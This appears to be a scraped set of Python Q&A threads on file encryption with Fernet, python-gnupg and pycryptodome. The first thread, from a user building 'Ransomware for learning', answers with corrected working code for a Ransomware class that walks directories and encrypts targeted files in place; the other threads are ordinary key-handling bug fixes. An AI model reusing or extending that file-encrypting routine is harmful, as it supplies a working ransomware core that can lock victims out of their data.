Python cryptography.fernet file decrypt - python

I am working on Ransomware for learning.
So I Copy-and-pasted this and edited it like this
but When I encrypt and decrypt a text file, it appends a string that looks like a random string. How can I fix this issue?
like:
Hello, World!
to
Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==
with this keyfile:
aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=

the problem is that you encrypt then decrypt. Your encryption and decryption function is working fine the issue is that you always seek to the beginning of the file to write any changes this will work fine with encryption and will work fine with decryption if the the plaintext and ciphertext is of same size(no padding) but will place decrypted plaintext that is not as same same size of ciphertext at beginning of file and leave the rest of file unchanged so you need to truncate the remainder part of ciphertext.
import os
from os.path import expanduser
from cryptography.fernet import Fernet
class Ransomware(object):
def __init__(self):
self.key = None
self.cryptor = None
self.file_ext_targets = ["txt"] # Type of files, you're going to encrypt
def generate_key(self):
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)
def read_key(self, keyfile_name):
with open(keyfile_name, "rb") as f:
self.key = f.read()
self.cryptor = Fernet(self.key)
def write_key(self, keyfile_name):
print(self.key)
with open(keyfile_name, "wb") as f:
f.write(self.key)
def crypt_root(self, root_dir, encrypted=False):
for root, _, files in os.walk(root_dir):
for f in files:
abs_file_path = os.path.join(root, f)
if not abs_file_path.split(".")[-1] in self.file_ext_targets:
continue
self.crypt_file(abs_file_path, encrypted=encrypted)
def crypt_file(self, file_path, encrypted=False):
with open(file_path, "rb+") as f:
_data = f.read()
if not encrypted:
# Encrypt
print()
data = self.cryptor.encrypt(_data)
f.seek(0)
f.write(data)
else:
data = self.cryptor.decrypt(_data)
print(f"File content before encryption: {data}")
f.seek(0)
f.write(data)
f.truncate()
sys_root = expanduser("~")
local_root = "."
keyfile = "./keyfile"
ransom = Ransomware()
def encrypt():
ransom.generate_key()
ransom.write_key("keyfile")
ransom.crypt_root(local_root)
def decrypt():
ransom.read_key(keyfile)
ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()

Related

I have a python error with the cryptography library. Fernet.decrypt() missing 1 required positional argument: 'token'

I am experimenting with the cryptography library in python. I am getting this error:
Fernet.decrypt() missing 1 required positional argument: 'token'
This error came up while I was trying to decrypt the files. I do not no how to fix this, any suggestions will be appreciated. here is the code:
from cryptography.fernet import Fernet
Key = Fernet.generate_key()
fernet = Fernet(Key)
#with open("filekey.Key", 'wb') as filekey:
# filekey.write(Key)
with open ("filekey.Key", 'rb') as filekey:
Key = filekey.read()
#with open("HHAY.csv" , 'rb') as infile:
# original = infile.read()
#enc = fernet.encrypt(original)
#with open("HHAYenc.csv", 'wb') as encfile:
#encfile.write(enc)
with open("HHAYenc.csv",'rb') as encrypted_file:
encrypted = encrypted_file.read()
decrypted = Fernet.decrypt(encrypted)
with open("decHHAY.csv", 'wb') as decrypted_file:
decrypted_file.write(decrypted)
The encryption works but the decryption doesn't.
When you write:
decrypted = Fernet.decrypt(encrypted)
You meant:
decrypted = fernet.decrypt(encrypted)
Note the change in capitalization (Fernet -> fernet). You are erroneously calling the class rather than your instance variable.
This code runs without errors:
from cryptography.fernet import Fernet
Key = Fernet.generate_key()
fernet = Fernet(Key)
# Save key to a file
with open("filekey.Key", "wb") as filekey:
filekey.write(Key)
# Read key from a file
with open("filekey.Key", "rb") as filekey:
Key = filekey.read()
# Create example file "example.txt"
with open("example.txt", "w", encoding="utf8") as sample:
sample.write("This is a test.\n")
# Read data from "example.txt"
with open("example.txt", "rb") as infile:
original = infile.read()
# Encrypt data
encrypted = fernet.encrypt(original)
# Write encrypted data to "example.enc"
with open("example.enc", "wb") as encfile:
encfile.write(encrypted)
# Read encrypted data from "example.enc"
with open("example.enc", "rb") as encrypted_file:
encrypted = encrypted_file.read()
# Decrypt data
decrypted = fernet.decrypt(encrypted)
# Write decrypted data to "example.dec"
with open("example.dec", "wb") as decrypted_file:
decrypted_file.write(decrypted)

cryptography.fernet.InvalidToken problem with cryptography

Getting this error when trying to run this:
File "Test Files.py", line 502, in decryptdefault
decrypted = fernet.decrypt(d)
File "/usr/lib/python3/dist-packages/cryptography/fernet.py", line 74, in decrypt
timestamp, data = Fernet._get_unverified_token_data(token)
File "/usr/lib/python3/dist-packages/cryptography/fernet.py", line 92, in _get_unverified_token_data
raise InvalidToken
cryptography.fernet.InvalidToken
FYI dk variable is defined with key (default key)
dk = 'niwaXsYbDiAxmLiqRiFbDa_8gHio15sNQ6ZO-sQ0nR4='
# Decrypts the file with default key
def decryptdefault(inclufile):
Key = dk
fernet = Fernet(Key)
readfile = open(inclufile, 'rb')
d = readfile.read()
readfile.close()
# Decrypts and puts it into the text
if readfile != "":
decrypted = fernet.decrypt(d)
decrypted = str(decrypted).replace('b\'', '', 1)
decrypted = decrypted[:-3]
return str(decrypted)
Edit: I added the key for those who asked
I have found out, through trial and error with the same project later down the line, that you need to turn your key into something like this key = b'niwaXsYbDiAxmLiqRiFbDa_8gHio15sNQ6ZO-sQ0nR4='
The main difference being the key is encoded in a utf-8 format and is now readable by Fernet and doesn't return that error. Here is a function that uses Tkinter, Fernet, and os to actually decrypt my file.
# Propriatary method of encrypting files
def decrypt(self, file):
with open(file, 'rb') as readfile:
contents = readfile.read()
self.title(os.path.basename(file) + ' - SecureNote')
# self.textbox is a variable inside of the class I am using for my window
self.textbox.delete(1.0, tk.END)
if contents != "":
# getword retur
Key = bytes(getword('Key:', 1), encoding="utf-8")
fernet = Fernet(Key)
decrypted = fernet.decrypt(contents).decode('utf-8')
self.textbox.insert(1.0, str(decrypted))
del Key
del fernet
else:
pass

How do I resolves the Fernet key error in python?

I am trying to encrypt Passwords but the function below
def Get_En_PassID():
Filename = 'Login_Token.bin'
if os.path.exists(Filename):
with open(Filename, 'rb') as file_object:
for line in file_object:
encryptedpwd = line.decode('utf-8')
key = encryptedpwd
print(key)
#return encryptedpwd
else:
PW = "encrypted message"
cipher_suite = Fernet(Fernet.generate_key())
#ciphered_text = cipher_suite.encrypt(bytes(PW,'utf-8')) #required to be bytes
ciphered_text = cipher_suite.encrypt(PW.encode('utf-8')) #required to be bytes
with open(Filename, 'wb') as file_object: file_object.write(ciphered_text)
key = ciphered_text
#return ciphered_text
f = Fernet(key)
p = f.decrypt(key)
print(p)
only returning ValueError: Fernet key must be 32 url-safe base64-encoded bytes.
Can you tell me what I'm doing wrong?
I've seen a different question with similar problem and I've tried it but it's still giving this error
the token that's in the file : gAAAAABfpT0o0lcFJnvTUFmPvwEnrkX7-PK2Bs4t---QDK...b7XdJEr40nJnFAfNM=

python gnupg decryption failing due to bad password on generated keys

I'm trying to use the Python gnupg package from here to do GPG encryption. I wrote some sample code to make sure I was using the API correctly but most of the existing examples of the package use a home directory. I'd like to be able to import/export the keys and interact with the API through that.
My test code is below:
def doEncryptFile(pubKeyFile, inDataFile):
f = open(pubKeyFile,"r")
data = f.read()
f.close()
gpg = gnupg.GPG()
import_result = gpg.import_keys(data)
public_key = gpg.list_keys()[0]
f = open(inDataFile,"r")
decData = f.read()
f.close()
encrypted = gpg.encrypt(decData, public_key['fingerprint'])
print("encrypted?")
print(str(encrypted.ok))
print(str(encrypted.status))
print(str(encrypted))
return str(encrypted)
def doDecryptFile(privKeyFile, inDataFile, privPass):
f = open(privKeyFile,"r")
data = f.read()
f.close()
gpg = gnupg.GPG()
import_result = gpg.import_keys(data)
public_key = gpg.list_keys()[0]
f = open(inDataFile,"rb")
decData = f.read()
f.close()
decrypted_data = gpg.decrypt(decData, passphrase=privPass)
print("decrypted?")
print(str(decrypted_data.ok))
print(str(decrypted_data.status))
gpg = gnupg.GPG()
key = do_key_generation(gpg, "helloWorld")
print(str(type(key)))
private_key = gpg.export_keys(key.fingerprint, True, passphrase="helloWorld")
public_key = gpg.export_keys(key.fingerprint)
with open('sample_public.asc', 'w') as f:
f.write(public_key)
with open('sample_private.asc', 'w') as f:
f.write(private_key)
doEncryptFile(r"sample_public.asc", "sampleDecryptedData.txt")
doDecryptFile(r"sample_private.asc", "sampleEncrypted.txt", privPass="helloWorld")
In the above example I manually copied the encrypted text to sampleEncrypted.txt. The key generation function is taken from here. When using it this way, the encryption works as expected and I get the ASCII-encoded blob.
However when trying to decrypt the file the decryption fails. If I do not provide the passphrase I get a prompt from OpenPGP telling me to enter my password, so it's at least partially working, but the decryption fails and the status message is just "decryption failed". If I try to manually enter the "helloWorld" password in the pinentry-qt GUI the error message is "Bad Passphrase". I've also tried using decrypt_file with input file containing the ASCII blob as described on the python-gnupg page, to the same result.
I'm on Python 3 on a Windows system if that makes a difference. I'll also note that when using gpg through the command line everything works as expected.
You forgot to save the outputs to a file.
I added the output= options to the gpg.encrypt and gpg.decrypt, and of course to your functions.
import gnupg
def do_key_generation(gpg, passphrase = "helloWorld"):
input_data = gpg.gen_key_input(
name_email='me#email.com',
passphrase=passphrase,
)
key = gpg.gen_key(input_data)
print(key)
return key
def doEncryptFile(pubKeyFile, inDataFile, outputDatafile):
f = open(pubKeyFile,"r")
data = f.read()
f.close()
gpg = gnupg.GPG()
import_result = gpg.import_keys(data)
public_key = gpg.list_keys()[0]
f = open(inDataFile,"rb")
decData = f.read()
f.close()
encrypted = gpg.encrypt(decData, public_key['fingerprint'],output=outputDatafile)
print("encrypted?")
print(str(encrypted.ok))
print(str(encrypted.status))
print(str(encrypted))
def doDecryptFile(privKeyFile, inDataFile, privPass,outputDatafile):
f = open(privKeyFile,"r")
data = f.read()
f.close()
gpg = gnupg.GPG()
import_result = gpg.import_keys(data)
public_key = gpg.list_keys()[0]
f = open(inDataFile,"rb")
decData = f.read()
f.close()
decrypted_data = gpg.decrypt(decData, passphrase=privPass,output=outputDatafile)
print("decrypted?")
print(str(decrypted_data.ok))
print(str(decrypted_data.status))
gpg = gnupg.GPG()
key = do_key_generation(gpg, "helloWorld")
print(str(type(key)))
private_key = gpg.export_keys(key.fingerprint, True, passphrase='helloWorld')
public_key = gpg.export_keys(key.fingerprint)
with open('sample_public.asc', 'w') as f:
f.write(public_key)
with open('sample_private.asc', 'w') as f:
f.write(private_key)
doEncryptFile(r"sample_public.asc", "sampleFile.txt","sampleEncrypted.txt")
doDecryptFile(r"sample_private.asc", "sampleEncrypted.txt", privPass="helloWorld", outputDatafile="sampleDecrypted.txt" )

Incorrect decryption RSA pycryptodome

I try to implement RSA in Python with pycryptodome, the encrypt Works fine but the decrypt function no, my code is the following:
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Signature import pss
from Crypto.Hash import SHA256
class RSA_OBJECT:
def create_KeyPair(self):
self.key = RSA.generate(self.KEY_LENGTH)
def save_PrivateKey(self, file, password):
key_cifrada = self.key.export_key(passphrase=password, pkcs=8,protection="scryptAndAES128-CBC")
file_out = open(file, "wb")
file_out.write(key_cifrada)
file_out.close()
def load_PrivateKey(self, file, password):
key_cifrada = open(file, "rb").read()
self.private_key = RSA.import_key(key_cifrada, passphrase=password)
def save_PublicKey(self, file):
key_pub = self.key.publickey().export_key()
file_out = open(file, "wb")
file_out.write(key_pub)
file_out.close()
def load_PublicKey(self, file):
key_publica = open(file, "rb").read()
self.public_key = RSA.import_key(key_publica)
I don't know why, because I think that the code is correct, anyone can help me?
Your problem you generate two different keys;
self.public_key = RSA.generate(self.KEY_LENGTH)
self.private_key = RSA.generate(self.KEY_LENGTH)
you should;
key = RSA.generate(self.KEY_LENGTH)
and
private_key = key.export_key()
file_out = open("private.pem", "wb")
file_out.write(private_key)
public_key = key.publickey().export_key()
file_out = open("receiver.pem", "wb")
file_out.write(public_key)
See here in more details;
Note: note that key object has two functionality due to public keys encryption. You can write a private key into a file and public key into another. In this way, you can distribute the key. See RSAKey.

Categories